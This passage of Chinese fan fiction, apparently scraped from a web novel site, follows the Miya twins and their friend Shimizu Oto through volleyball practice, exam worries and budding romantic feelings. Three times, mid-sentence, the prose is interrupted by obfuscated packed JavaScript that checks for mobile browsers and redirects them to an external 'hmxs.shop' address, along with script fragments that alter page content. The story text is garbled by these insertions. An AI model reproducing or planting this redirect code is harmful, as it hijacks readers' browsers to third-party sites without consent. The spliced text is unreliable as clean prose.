而这么一件对清水音空本身来说没什么好处又很辛苦的事情,清水音空坚持了这么久,还一点都没喜欢上。 跟那么多队友一起经历了那么多比赛中激动悲伤紧张兴奋愤怒的氛围,竟然从来没有被这些热烈的情绪感染到。 角名伦太郎很难不想一个细思极恐的事情:宫双子对于清水音空来说,是和排球一样的情况吗? 有段时间,角名伦太郎是怀着一种观察伪人的心态注意清水音空的。 越暗中观察,似乎就越肯定。 从小一起长大的三人组,似乎只是虚伪的双向幼驯染,真实的单向好友。 角名伦太郎有时候也会怀疑自己是不是误解清水音空了,但他所察觉到的那种冷漠的确让他有些不太适应,便维持了和清水音空之间上场比赛外约等于能说上两句话的认识的人的关系。 不出意外,等从稻荷崎毕业后,他们就是那种躺在对方好友列表里的曾经队友,除了社团聚会再也不会见面。 但现在,发生了意料之外的改变。 三人组之间发生了什么?宫双子变得有些奇怪,清水音空居然成了被钳制住的一方? 看来可以新建一个相册了,指不定以后还会有更出乎意料的事发生。 三大袋食物+零食+饮料分量十足,清水音空考虑到下午的训练消耗所需,以及宫双子无底洞般的胃,都是奔着双份买的。 至于吃不完的就不用操心了,不存在浪费这种事的,不管是训练结束后晚餐前这段时间,还是给部员们分一分,都只会显得太少了。 现在加了个同样食量很大的角名,四个运动系清空三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883133|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大袋子,饱得刚刚好。 几人把所有垃圾带上,一同出门,去清洗整理分类。 途中,清水音空的手机微微震动。 他看了眼,自然地落后宫双子两步,确认别人看不到手机屏幕,才打字。 【麻烦您替我操心了,您发过来的资料我还在看。但因为今天刚刚回学校继续学业,这几天会有些忙。我也需要时间好好考虑,毕竟都是没有见过面的亲人,实在是感到不安……等我想好后,我会第一时间告诉您的。】 邮件发送出去,他关上手机,重新追了回去,仿佛什么都没有发生过。 将处理完的垃圾分类丢掉后,自然就该各回各班了。 宫治还没忘记补觉的事,有点不甘心,“排球部的更衣室呢?里面有长椅。” “我会趴在桌子上休息一会的。下午的训练量也会酌情减少,对吧,侑。” “你们在说什么?音空身体不舒服吗?”宫侑摸不着头脑。 宫治:“你的粗神经真是没救了,该不会以为他昨晚睡得和你一样香吧?” 宫侑大吃一惊,看了下清水音空眼睛底下: “也不太明显了吧,一点黑眼圈都没有!那你下午别来训练了,直接回家睡觉……不行,你还是来吧! “我跟黑须教练说一声,你在场边休息好了,补个觉也行。睡眠严重不足不能做剧烈运动,这是很危险的事。 “下次不许再这样了,要做好健康管理,身体可是很重要的。” 话越说到后面,他表情越严肃起来,很有队长的气势。 宫治:“盯——” 清水音空:“盯——” 角名伦太郎:“盯——” 宫侑被盯得后背发麻,气势逐渐垮掉:“我哪里说的不对吗!你们这么看着我干嘛!” 宫治面无表情鼓掌:“是队长呢。” 角名伦太郎敷衍地拍了两下:“北前辈会很欣慰的。” 清水音空认真鼓掌:“把北前辈当初教训你的话化用很好,但在说我的时候,希望你自己不要再在不舒服的情况下觉得打打球就能好了。” 宫侑抓狂:“还说我是队长呢,有你们这样对队长的吗,你们对北前辈不是这个样子的!太过分了!” 宫治一刀:“像尊敬北前辈一样尊敬你,这辈子都不可能的。” 角名伦太郎两刀:“我做不到。” 清水音空三刀:“抱歉,侑,我也做不到。” 宫侑身受重伤,再起不能。 唯一还没在宫侑手下当过队员的清水音空,摸了摸宫侑失意体前屈姿势下有点像啦啦队花球的金发,安抚道: “侑有侑的风格,会是侑风格的好队长。北前辈今天不是还夸你了吗?这说明你处理得很好……不过迟到这种事还是不要发生了。” 堂堂宫侑,复活! 宫侑一跃而起,“我就知道你们很信赖我,音空,放心,以后我会好好使用你的!角名,阿治,我也不会放过你们的!都给我发挥出百分之一百二、不、一百五的实力,成为我最趁手的武器吧!” 宫治:“啧,别说这种夸张的话。” 角名伦太郎:“如果能有更有趣更强的对手,不然用一百五的实力打五十的对手也没意义吧。” 清水音空:“好。” “哪里夸张了,我可不是以前的我了。角名你说的对手肯定会有的,小日向今年肯定也会变得更强的,还有那些传统强校,突然杀出来的黑马……说得我都有点兴奋起来了!” 宫侑揽着清水音空肩膀,就春高那场比赛上清水音空的表现继续话题。 赛后只做了简单的复盘,更重要的是庆祝以及三年级的退出,于是,详细的复盘,清水音空也就一直没听见了。 此刻宫侑说起来,真就像是不久前才结束的一场比赛,没让警惕他说漏嘴的宫治听出丝毫破绽。 角名伦太郎倒是从先前的对话里觉察出别的猫腻,却没有问这三人怎么昨晚睡到一起去了。 毕竟原因他猜得到。 大概率是清水音空在祖母去世后状态不好,宫双子不放心吧。他无意戳人痛处。 快到教学楼时,眼见宫侑有喋喋不休到跟去清水音空教室念叨一个午休的架势,角名伦太郎“好心”提醒: “你们不需要临时再复习下吗?下午二年级一班二班都有小测。” 宫侑/宫治:“……小测?!” “怎么像第一回听说?你们该不会忘记这回事了吧?” 角名伦太郎已经从两张一模一样的大惊失色表情里得到答案了,解释道: “再过一个多月就期末考试了,还有三年级前辈的毕业典礼要参加,四月开学就高三了,为了保证成绩稳定,期末前小考会频繁一些。” 清水音空发出怀疑的声音: “春高前,为了保证你们全部科目能够及格,不至于要被留校补考无法参加比赛,北前辈他们不是已经把你们成绩补上去了吗?” 就算脑子是个大漏勺,辛辛苦苦堆进去用铲子一而再再而三拍紧的知识,也不能流失那么快吧? 至少去年宫双子高一时春高前补的课,他记得还是管用到了新学期开学后一段时间的。 毕竟第三学期假期也就十来天,比较短,还不至于给玩忘了。 已经成为社会人、知识全部还给老师的宫治宫侑汗流浃背。 ……脑子,快想啊,快把那些知识都想起来!用毕业生的水平震惊大家! ……为什么是一片空白啊! ……怎么突然开始唱歌了! 重回学生时代,本来就很严酷的考试,变得更加恐怖了啊! 7. 第七章 养神 ……好严肃的表情。 已经不是没考好的程度,而是史无前例地考砸了的程度。 清水音空路过两座人形木雕,从柜子里拿出自己的运动服。 叠放的方式不一样了。 干爽的,有股淡淡的香味,不像是在柜子里从春高后闷到现在该有的状态。 排球部没有社团经理,但有轮流做后勤的部员。 正式队员和普通部员也不是什么都不干了,自己的活大多还是自己来。 洗衣服毛巾之类的也不费事,有置办洗衣机和烘干机等家电。 每天部活结束时换下来往里一扔,留一个人洗好了晾晒起来。有的还会直接带回家跟其他衣服一起洗了,第二天再带过来换就行了。 像北前辈,就是会把公共区域搞得干干净净,排球都擦得一丝灰尘没有,不忙的时候把瓶子都装好水那种人。 非常令人敬佩。 摊开的衣服里掉出了一个小香包,是那种里面装了干花的。 好像已经知道答案了。 治和侑没有这么细腻的心思,他们自己的衣服只要是干净的,哪怕放了一个月、叠得皱皱巴巴也会拿起来照穿不误——训练用的运动服是这样的。 私服就是另一回事了。宫侑尤其爱护自己的形象,宫治也不会穿显得邋遢的衣服。 其他人又没有关系亲近到会自主帮忙洗他干净的衣服。 只有北前辈,会担心他请假时间太长,返校时运动服已经在更衣室的柜子里积累起灰尘了,不仅在退部前帮他洗过一次,还贴心地放了个香包。 清水音空本想把香包收起来,免得不小心弄丢了,但想了想,还是放回了柜子的角落里。 他换完运动服外套了,宫治和宫侑还是一副在梦游的样子。 只不过还记得要换衣服,眼神虚无地机械脱衣、穿衣,叠得乱七八糟放进柜子里,关上门。 然后发出被锁扣声惊醒灵魂的泄气声:“完了……” “北前辈他们这段时间应该没空为你们补习。”清水音空顿了顿,把自己帮忙补课的话咽了回去,“找成绩好的二年级部员给每一科划重点,然后死记硬背,及格应该没问题?” 宫治沉重:“可能不太行。” “死记硬背效率太低了?” 宫侑摸摸后脑勺,发出笨蛋心虚的笑声:“哈哈,有没有一种可能,高一的知识我们也忘得差不多了,一个多月背不下两个年级的知识吧?” 清水音空:“……” 清水音空:“?” 更衣室内犹如一阵冷风刮过。 清水音空不理解这是怎么做到的,但宫双子喜欢的排球,需要他们成绩达到及格才能打。 这么看起来,最合适的补课人就是他了。 有耐心,放学后能长时间待在一起,早就习惯了宫双子的学习水平。 只是需要他花点时间把以前预习过的二年级课程再仔细学一下,这部分在给宫双子补一年级课程时就能顺带着做了,到时候正好衔接上。 看着没什么问题,唯一的问题是,这次补习计划起码要持续到期末考试前,时间再短一点,就考不到及格了。 不然,补考的话,短短的春假肯定没法让他们顺利通过。 之后就是一年级新生入学,体检,社团招新等一系列事情,往远点看就是校内运动会,备战ih,集训和练习赛在此期间都得安排上。 要是宫双子一直处于被老师放学后叫去补课、等待补考的状态,那也太不妙了。 但是。 一个多月啊。 清水音空敛去眸中的淡淡厌倦,没给宫双子带来更多打击,“等小测全部结束、成绩出来了再说吧,一直担心也不能改变什么,还会影响你们的心情。” 宫侑拍了把脸:“对啊!就算零分也不能影响我打球!” 宫治怀抱着虚无缥缈的希望:“至少不是全部题目都不认识,还是能读懂几个的,也许没有我想的那么差。” 他们进了体育馆,人已经来了一半多了,有的在闲聊,有的拿着排球开始练习了。 清水音空跟着宫侑到黑须教练处,成功请到了假。 虽然黑须教练对宫侑既给清水音空请假又非要让清水音空留在体育馆的行为很是不解,但看清水音空本人都没意见,还为了看着不突兀换上了运动服,也就不说什么了。 没有人迟到。 人到齐后,黑须教练简单说了清水音空身体不适今天社团活动请假休息的事。 着重讲了身为队长的宫侑带头迟到翘到早训的事,宫治也没逃过,两人都得到了在不损害身体前提下训练量大幅增加的惩罚。 宫侑还向部员做了检讨。 很坦率地承认了错误,承诺以后不会再犯,如果再犯,下次惩罚翻倍。 清水音空在队列里看着,倒是觉得他今天说过的话也没有错。 这是宫侑风格的队长,简单直率,眼睛会看着更强的前方,但也不会对自己犯的错误扭捏羞耻,甚至想要掩盖过去。 错了就改,输了就赢回来,赢了就变得更强,继续赢下去。 一号的宫侑,二号的宫治。 他们未来还会像现在这样搭档下去吗? 社团活动开始后,清水音空坐在场边,没训练,但和补觉也沾不上边。 就算有座位,他也没办法在这样的环境下睡觉。 他坐在这里,看着场上很符合青春少年描述的社员,困意终于缓慢涌上。 挺得笔直的背向后靠在椅背上,眼皮遮住了光亮,却没有给予安宁的漆黑,反而成了大脑的幕布,投射出一片光怪陆离的景象。 声音渐渐远了,像隔着一层云,但没有飘得很远,仍若隐若现地传进来,偶尔有一两句特别清晰。 清水音空知道自己没睡着,他还能感受到自己随着呼吸起伏的胸膛,以及路过拿水的人刻意放轻的脚步声。 他处在熟悉的半梦半醒地带,时间流淌变得模糊起来。 画面里开始出现一些模模糊糊的人影。 有在家里看大河剧的祖母。 祖母能够欣赏月代头。他到现在都觉得月代头好奇怪。 牵着小小的他到公园玩耍的祖母。 公园里有很多孩子,但他不喜欢滑滑梯,也不喜欢玩玩具,玩得最多的是堆沙子,因为这个可以自己一个人玩。 面容已经不太清晰的父母,似乎在说着电视剧里那样让他好好活下去的台词。 应该是他小时候把看到的电视剧桥段套进去了,扭曲了本来的记忆。不然,当时有没有说话的机会也不一定,他是不是真的看到了也不一定。 时而手拉手好朋友时而一言不合打起来然后嚎啕大哭的幼年宫双子。 好吵。他不喜欢安慰人。但宫双子不难安慰,这点很好。又吵起来了,坏。记得他还怀疑过自己耳朵会不会嫌太吵了跑掉,然后他就是没有耳朵的人了。 朦胧的影子在俯身靠近,黑乎乎的,并不单薄。 似乎没什么变化,还是那个性格,没有变得更老成油滑。但好像又变了,装满了沉甸甸的一不小心就会流露出来的东西。 有轻飘飘又略带重量的布料落在身上,往两边手臂下拢了拢。 是运动服外套。 清水音空睁开眼,黑乎乎的影子慢慢凝实,成了离他不远、甚至能感觉到对方身上散发运动过后热度的宫治。 宫治收回手:“闭上眼睛不睡觉,等于没睡觉。” 清水音空:“好有道理。” “你回去睡吧。”宫治在旁边座位坐下,拿着水瓶,拧开了没喝,声音有些低,“宫侑是个蠢猪,你又太能忍。他只知道看见你才安心,没想过你和他不一样,不是困起来站着都能睡着。” 清水音空提出抗议:“我没做过让你们不安心的事。就连你们的异常,说是做了个噩梦,不想说,我就不问了。是不是有点冤枉我了?” 宫治握着水瓶的手用力了些:“……没有。” “有吗?” “你为什么不追根究底?” “没有一定要用这种让别人和自己都不舒服的方式得到的答案。” “这就是让我们不安心的地方了。” 宫治知道清水音空没听懂,或者是不愿意懂。 就算是友情,也会有发生各种矛盾的时候,吵架固然伤感情,但也是人在情绪牵引下控制不住自己的证明。 他们和清水音空,除了小时候他们主动冷战那一段,从来没有吵过架。 就连单方面想嫌清水音空冷淡都说不出口,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883134|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里微妙地感觉到了,但清水音空行为上是绝大多数朋友都做不到的好,搞得他们自己都分不清是什么情况。 清水音空始终待在情绪的安全范围里,从未踏出过一步。 有遭遇过不愉快的事吗?当然是有的。 出挑的人有一副好脾气,有时候代表的不仅仅是讨人喜欢,还是好欺负。 但清水音空的家庭情况、学习成绩、社团奖项,足够他获得老师的偏爱,而他自身不算弱的武力值,也能让他成功反击。 等他和宫侑知道的时候,想欺负清水音空的人已经被各方面教训到不敢再找麻烦了。 那段时间,他甚至没见清水音空生气过。 想看清水音空生气。 气到快哭出来就更好了。 宫治一时之间还真想不出什么办法,沉思片刻:“如果一直不让你补觉,强迫你只能在睡眠不足的情况下尽快适应和我们一起睡觉,你会生气吗?” 清水音空:“……” 清水音空凑近宫治,用只有两个人能听到的声音说:“你是不是看了十八岁以上才能看的违禁品?” 宫治愣了一下,反应过来清水音空把他的话误解成什么意思后,僵硬得有点可怜。 白皙皮肤下的血肉成了一团芒草,瞬间燃起大火,烧得面皮通红,耳朵快滴出血来。 这种醒目的变化,让清水音空都有点怕宫治把神经熔断、彻底死机了。 他只是觉得宫治说话有时候含含糊糊的,带着歧义,听着不太清爽。 看来是揭开某些青少年的秘密了。 “我不会生气。”清水音空没有这方面安慰人羞耻心的经验,索性接着原先的话题继续说,“如果我这么做了,就说明是我愿意的。我不愿意的话,你们进不来我家门,拿走备用钥匙也没用。” “嗯、嗯……这样啊。”宫治胡乱应了声,眼睛不敢看清水音空。 他那句话是很正经的,就只有表面上的意思,但往别的地方一想……不能想! “总之,你先回去睡觉吧,我继续去训练了。” 宫治拧上水瓶,急匆匆地走了。 清水音空不知道他在“总之”什么,坐下又走人就给盖了件衣服,一口水没喝,口不干吗? 但宫治看起来短时间内不会再往他这里来了。 没过一会,训练暂时告一段落的宫侑跑过来了。 他有样学样地拎起一件运动服外套往清水音空身上捂,连边角都往里掖好,最后还满意地整理了一下表面的褶皱,神情得意。 “我盖得比阿治的漂亮。” 他又凑过来,带来略显烫人的热空气,跟懒得动,被裹成一条毛毛虫的清水音空说悄悄话: “你刚刚在和阿治说什么?” 清水音空最常听双胞胎说的词就是公平,话说,要是羞耻到这种程度,晚上应该也不好意思继续打扰他睡觉了吧? 于是,他用很友善的语气悄声道:“你有口口小说吗?” 宫侑一时没反应过来:“什么?” 宫侑反应过来了:“什么?!” 他连忙压低声音,不可置信,“你们在聊这种事?!” “这样。你先喝口水。” 宫侑呆愣地喝了。 清水音空指挥:“把治的水瓶给他带过去。好了,你可以害羞逃跑了。” “……我有什么好害羞的!我给阿治送水!” 然后,不害羞的宫侑也跑了。 连本来想问清水音空睡得怎么样都给忘了。 有两层外套确实暖和些了,清水音空继续闭目养神。 他不打算回去睡觉。 比起把一直以来的作息搞得乱七八糟的,他宁愿晚上没睡好加白天不睡,逼得自己晚上困到不在意外界情况直接睡着。 说起来,男生讨论这种话题虽然隐晦,但好像不是很少见的事,毕竟有网络这样便捷的东西。 在他们之间却是头一回。 希望他们脸皮薄一点,最好连续一周内不好意思跟他说话,看到他就远远躲开。 ……脸皮薄到这种程度的宫双子,恐怖程度堪比都市怪谈。 还是算了吧。 他没打算让宫家的叔叔阿姨人到中年还要学高中生,当对抗鬼怪的轻小说主角。 8. 第八章 关系 直到一股脑跑到宫治旁边把水扔过去,宫侑脑子里还是乱哄哄的。 他僵硬着背对清水音空的方向,下意识想找宫治抱怨,却在看见宫治仍然通红的脸和飘忽的眼神时,即将出口的话咽了回去。 和着情绪揉成一团,咕咚吞下肚。 像胃里坠了颗石头,不疼,可存在感很强。 这是不能和阿治说的话,不能和阿治讨论的话题。 ——本能在这么说。 跟先前探讨阻拦清水音空离开时不一样,那时是可行的方法,现在则是更私人的,即便是双胞胎也不能分享的秘密情绪。 而且,这有什么好脸红的? 虽然他没看过,但想来也就那么回事,阿治这家伙跟音空聊那种奇怪话题就算了,明明都比音空大好几岁了还脸红成这个样子,太没用了吧,音空都不动声色的。 对了,他本来想说什么来着? 宫侑想不太出来了。 或许是抱怨“你干嘛和音空说这种事”,或许是不可思议“你是不是有什么邪恶的想法没想到你是这么卑鄙的人”。 或许是…… 或许是什么呢。 宫侑又不是傻,从阿治的反应看,就知道这个禁忌的话题是音空挑起来的,他能找出的几条思绪却全部下意识归咎于阿治,因为他本能很混乱吧。 混乱于,为什么音空会说起这方面的话题。 宫侑当然知道清水音空是个处于青春期有手机并没有与网络隔绝的普通男高中生。 也知道清水音空收到过不少告白,在恋爱上并不是一无所知的人,甚至还凭着围观他人恋情得出了“恋爱就是自找麻烦”的结论。 更知道到了这个年龄对生理课外更通俗的内容产生好奇是正常的。 但,音空怎么会…… 不,音空为什么不会…… 可是,音空就是从来没对这方面好奇过啊。 永远任由他们乱翻乱扔的卧室没出现过奇怪的书籍。 随随便便就能拿过来用的手机干净到像是刚买到手。 搜索记录里也只会有一些类似于“单独一只鸭子走在路上会自己回家吗”“老人适合的日常保健品”“双胞胎心灵感应实验”“怎么让力气变大一点”“经常被搭肩膀会不会变成溜肩”这样又日常又奇怪的东西。 清水音空,就是不会和这方面扯上关系啊。 哪怕知道音空并不是真的想问他要这种小说,如果他真买一本拿过去得到的也只会是“你还真有啊,唔,谢谢,但我并不是想问你要,也没有想看,你拿回去吧”这样的回答。 可是…… 原来音空,是能和“欲望”沾边的吗? 这个精准的一直被含糊使用代词的词清晰浮现在脑海中时,仿佛在本就炽烈且没有任何熄灭迹象的大火上猛泼了一盆热油,燎起冲天的火焰,叫宫侑快喘不过气来。 宫侑突然想到那只在被窝里只触碰到一瞬的手。 其实说起来,并没有什么特殊的。 柔软温热,皮肤细腻。 但他也不差啊,他这可是一直有在好好保养的高中第一二传的手!未来黑狼队职业选手的手! 也没有那种什么像触电一样的感觉,真要那样的话,音空在比赛前跟对手挨个握手,整队都得送医院去了吧,人形皮卡丘吗? 总之,就是非常普通。 如果真有什么特殊的,那么短时间的接触也感觉不出来吧,起码正儿八经好好握住体会才能知道吧。 再下一步,就是那个什么接吻了吧。 牵手还好像很正常。 但,原来,音空是可以亲的吗? 以前光想象一下就大脑自动止步了,现在却像是打开了某种枷锁。 宫侑感到喉咙莫名的干渴,先前喝下去的水已全部被蒸发了。他脑子再度混乱成一团,这次,却只是握着水瓶猛灌,没再往宫治那边看。 ……一重复刻入骨髓的日常、一打上排球就忘记了,距离那个日期也没有多久了,他该一日比一日更过分的展开进攻才行。 虽然好像很欺负音空,好像很奇怪,好像彻底越过了朋友间的界限,但这才是正常的吧! 不能重新和朋友相处后就忘记目标是要成为恋人了! 对,就是这样! 他是出于给音空找麻烦、超级无敌麻烦、这辈子都解决不掉的麻烦的心态行动的! 宫治没太关注宫侑那边,单看宫侑红着脸触电般光速折返跑,就知道清水音空做了对双胞胎一视同仁的端水行为。 他接住水瓶,冰凉的外壳贴在滚烫的掌心,却只能让他想到水瓶逐渐染上他体温时,清水音空所说的话。 不管怎么说,往那个方面想的话,也太…… 宫治很想给自己的大脑来两巴掌,让它老实点,但大脑就是这种东西,越觉得不要想的时候,越是克制不住。 但还是太奇怪了吧! 让清水音空出现在这种画面里,简直就是一种……该怎么形容呢,反正是绝对不应该的事。 但,再这么发展下去的话,过个几年,也不是没有可能吧。 什么不是没有可能,绝对不可能! 左右脑激烈互搏的力度都快把宫治打懵了。 过了好一阵,他才从满脑子乱七八糟中回过神来,稍微清醒了点。 确实不可能。 因为恋人只会有一个。 他们是双胞胎,又住得这么近,又本来就是好朋友,无论音空选择了谁,都是值得信任的——能够相信对方可以利用恋人的身份把音空带往未来的。 所以,另一个就不必再担心发生不好的事,可以放心回到朋友的位置,送上祝福。 只有一个恋人的音空,要跟恋人发展到什么地步,就是未来他们之间的事情了。 ……真的是这样吗? 大概是这样吧。 那些真的追求者还能在失败后做朋友,他应该算不上真正的追求者吧? 哪有好友关系高于追求者所以告白当天就可以登堂入室直接同睡的? 他做出让音空困扰的事情时,音空才会想起来他是在出于追求而进行“为难”,其他时候就完全忘记了这回事,不然也不会跟他这么说话。 恋爱在音空那里本来就是负面印象了,再这么下去,只会越来越糟糕吧。 就算当上恋人,跟普通的恋爱应该也没什么关系,更像是从好朋友变成名正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883135|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言顺的家人了吧,哪怕情感上有些模糊不清的部分,也没有真正跨越过友情。 当然,这样也没有什么不好的。 听起来似乎很沉重,是为了留下其中一方才在一起的恋人,但无论是他们中的谁,都绝不会为此感到后悔。 更何况,音空和他们之间任何一个组成家庭,想想能跟音空生活在一起,肯定是很幸福的事。 但是这样,就不是好友三人组了。 剩下那个再怎么说是最好的朋友,也依旧被排除在恋爱关系之外,成为三角形中距离最远的那个角。 当然,如果音空找了别的恋人,他就不用纠结这些问题了。 可那是不可能的。 不说音空为什么要去找个关系不如他们的陌生人或者熟人发展恋爱关系,就凭那些人没有和他们一样的经历,没有他们对让音空活下去的执着,他们就绝不放心将音空交给完全不懂的别人,让音空处于自己看不到的地方。 只能在他们之间,但达成目标时,被剩下的那个人会一直开心吗?不会想要一碗水端平到底吗? 宫治有点理不清自己的思绪了,他很明确自己想要什么,却又好像在通往目标的直线上突如其来拐了个大弯,使他无法再平稳行驶。 他不再深思,拧开水瓶喝起来。 这是出局后当好友的人才需要思考的事情,如果他成为恋人,就不用想这些问题。 重新适应自己身体因素导致的倒退的排球水平很重要,即将引起前辈们和家长震惊的各科小测成绩很重要,但更重要的是,在倒计时结束之前,让音空被彻底绊住脚。 宫治用胳膊肘怼了下旁边发呆的宫侑:“刚刚训练的时候,你状态不太稳定。” “我也没想到肌肉记忆影响这么大,身体水平也差远了。 “明明很清楚球的落点在哪里用多大的力道加什么旋转,打出来就不是这么回事了,成功率直线下滑。 “感觉保持这种训练强度半个月,就能找到经验和身体素质的平衡点吧,毕竟还在发育期,一下也不可能追上之前的水平。” 宫侑忧愁地托着下巴,“这些倒是没什么,同样的时间,我肯定会比上一次更强的。但吃了两天放纵餐,总觉得幻听被教练骂了,直接开始吃运动员标准营养餐的话家里会不会很麻烦?” “准备起来比便当更方便吧,我觉得妈妈会同意的,但你要先跟她好好说。”宫治看着被转移话题后思维全神贯注在排球上脸都不红了的宫侑,“安心去打排球吧。” “那肯定啊!我是要打一辈子排球的!”宫侑不明所以,“你怎么奇奇怪怪的,你笑什么?你是不是在心里偷偷骂我了!” “骂你还用偷偷的?” 宫治把瓶口倒过来,没有滴出水,他起身,准备再去打一瓶水。 路过清水音空时,盖着两件外套的男生已经又闭上眼睛。后颈卡在椅背上,脑袋向后仰着,黑色头发散开垂下的样子有点像蒲公英。看上去睡得很熟。 他用水瓶贴了下清水音空的脸。 原地等待。 然后,在清水音空谴责的眼神中,又贴了下另外一边。 “睡不着就别闭着眼睛了,好好看着我们怎么样?” 9. 第九章 笨蛋 天气寒冷时夜晚来得更早,傍晚的天已经是深灰色,星星点点的雪花在晦暗不明的光线中落下。 排球部部活结束较晚,等到打扫完卫生洗完澡出来,学校里已经没多少人了。 “说出帅气的话语后,应该做出符合的事情。我以为这是常识。”清水音空把手塞进口袋里,看见呼出的空气变成一团显眼的白雾,渐渐消散。“你们今天没找到状态吧。” “阿治就是废物!”宫侑立马压下眉头撇着嘴一脸凶恶相,“我找到手感的时候他还在慢吞吞磨,速度太慢了,真不像话,那么好的传球接成那个样子,要是以后跟不上我我绝对会狠狠嘲笑……” 话还没说完,就被宫治一脚飞踢踹断了。 宫治加深脚印,表情凶恶程度不下宫侑:“你在大放厥词什么?灵光一闪而已,真论起来我状态可比你好多了,稳扎稳打地上升着,哪像你突然想想这个突然想想那个,你怎么不看看你练发球时全垒打多少次了?” 宫侑转身扭打上去,“哈?!那又怎么了,我可没跑到音空面前耍帅吧!阿治超逊!” “你是没说,但你没想吗!你是没耍成,猪侑!” 银岛结左右看看,深感槽多无口。 宫双子今天确实不太在状态,但也有突然表现出远超水准的时候,频率还不算很低。 教练觉得他们应该是在突破瓶颈的不稳定期,等成功度过后,实力会更上一个台阶。 但这怎么看也不是耍帅的时候吧? 角名伦太郎举着手机咔嚓咔嚓,懒懒道:“一句话,让宫双子为你打起来。” “角名前辈,我深感荣幸。但这是意料之外的,果然是因为少了北前辈吧。” 以往放学路上有北前辈同行的这一段,宫双子还不至于这么肆无忌惮。 罪魁祸首清水音空叹了口气,用还没在口袋捂热的手分别往扭在一起的宫治宫侑后颈一贴,得到两声“嗷”的惨叫。 “冷静下来了吗?” “哼!”x2 “不小心打到地上的话,会弄湿衣服。”清水音空捏了下自己冰凉的耳朵,有雪花飘到上面,他拢起头发遮住,“好冷,快点回去吧。” 宫双子还不太服气,一边哼哼唧唧一边非常默契地把清水音空夹在中间当成空气墙。 在校门口、路口分别和不同路的前辈与同级生告别后,两边的人还是往相反方向撇着头的状态,像两头被拴在一个石磨上的倔驴。 “但进步很明显。”清水音空说,“看得出来,春高的养分你们有在好好吸收,马上就要成长到惊人的地步了。下一次,不用特意让我看,也能看到很厉害的表现。” “…… ”x2 “今天训练量这么重,很累吧。” 三秒钟后,一左一右扑上来两团大型人形负重。 左边沉重的银色脑袋大声:“好累!手都快抬不起来了,教练还真是老辣,刚好给我们留了能回家的力气。” 右边沉重的金色脑袋超大声:“这点训练量小菜一碟,但我快饿死了,中午吃那点东西一下就消化完了!” 宫治的食欲也被勾起来了:“想吃饭,今天还没吃到大米饭。” 打算最后一顿放纵餐狠狠吃的宫侑:“想吃肉,大口大口的肉,要热乎乎的汤汁!” 然后是异口同声的:“音空——” 没那么饿但也没打算回家自己做饭的清水音空:“打电话和宫阿姨说一声,我们去吃牛肉丼?” “好,绕点远路吧,去那家味道最好的盖饭店。” “我要加肉还要加猪排!” 美食当前,双胞胎之间的争执早已翻过页,又恢复成哥俩好的模样了,全心全意干饭。 味道不错的晚餐,店里开着空调的温暖环境,吃饱后的轻微晕碳,令清水音空开始有点犯困了。 他慢慢喝着有点烫的大麦茶,两边加量后还在奋斗的咀嚼声像催人入眠的白噪音,叫他不自觉放松紧绷的神经。 虽然不至于在外面睡着,但这次再闭上眼睛,就不会被思绪打扰个不停了,很安静,很平和。 宫侑狼吞虎咽,比品味食物的宫治更快吃完。 他把碗底裹着肉汁的米饭扒拉到一粒不剩,正准备撂下碗时,余光看见清水音空闭着眼像是睡着了。 动作顿时放轻了,本来想跟宫治炫耀自己先吃完的心思也抛到了九霄云外。 他把杯子里剩下的茶一口气灌完,又擦干净嘴,连自己都不知道自己为什么突然在什么蠢样都见过的音空面前爱护起了形象,就极其自然地做完后才小心翼翼地凑近清水音空。 闭着眼睛的样子好乖。 作为一个知道自己长得帅也有在维护自己外形的帅哥,宫侑的审美很正常。 虽然他更愿意用排球位置和打球水平来划分一个人的定位,但不代表他不知道别的男生长得什么样。 清水音空是从小好看到大的。 跟他这种浓眉大眼的帅还不一样,是那种一看就很不运动系的俊秀。 宫侑还没这么仔细打量过,从粗细刚好的眉毛、长长的睫毛、高挺的鼻梁,一直看到柔软的淡红色嘴唇。 也许是刚喝过水不久,还没干,嘴唇像涂了一点唇膏,有点水润的光泽。 这点光泽,将称不上很健康但也不算不健康的颜色衬得像雨后的花瓣,能想象到柔软且微微湿润的触感。 清水音空的唇形生得很漂亮,厚薄度也很好。既不会薄到像妈妈看的电视剧男主角被说薄情的程度,也不会厚到与这张脸不相称,这样好,更像是花瓣了。 好看到像带了点引诱。 ……如果要亲上去。 宫侑不自觉咽了咽,眼里已只剩下这一个目标,身体朝着清水音空靠近。 碗底磕在桌面上的响声不大,但紧接而来的“我吃完了”和放下筷子的声音,这一连串动静足以令清水音空睁开眼睛。 清水音空与靠他有点近的宫侑对视,迷惑道:“侑,你在干什么?” 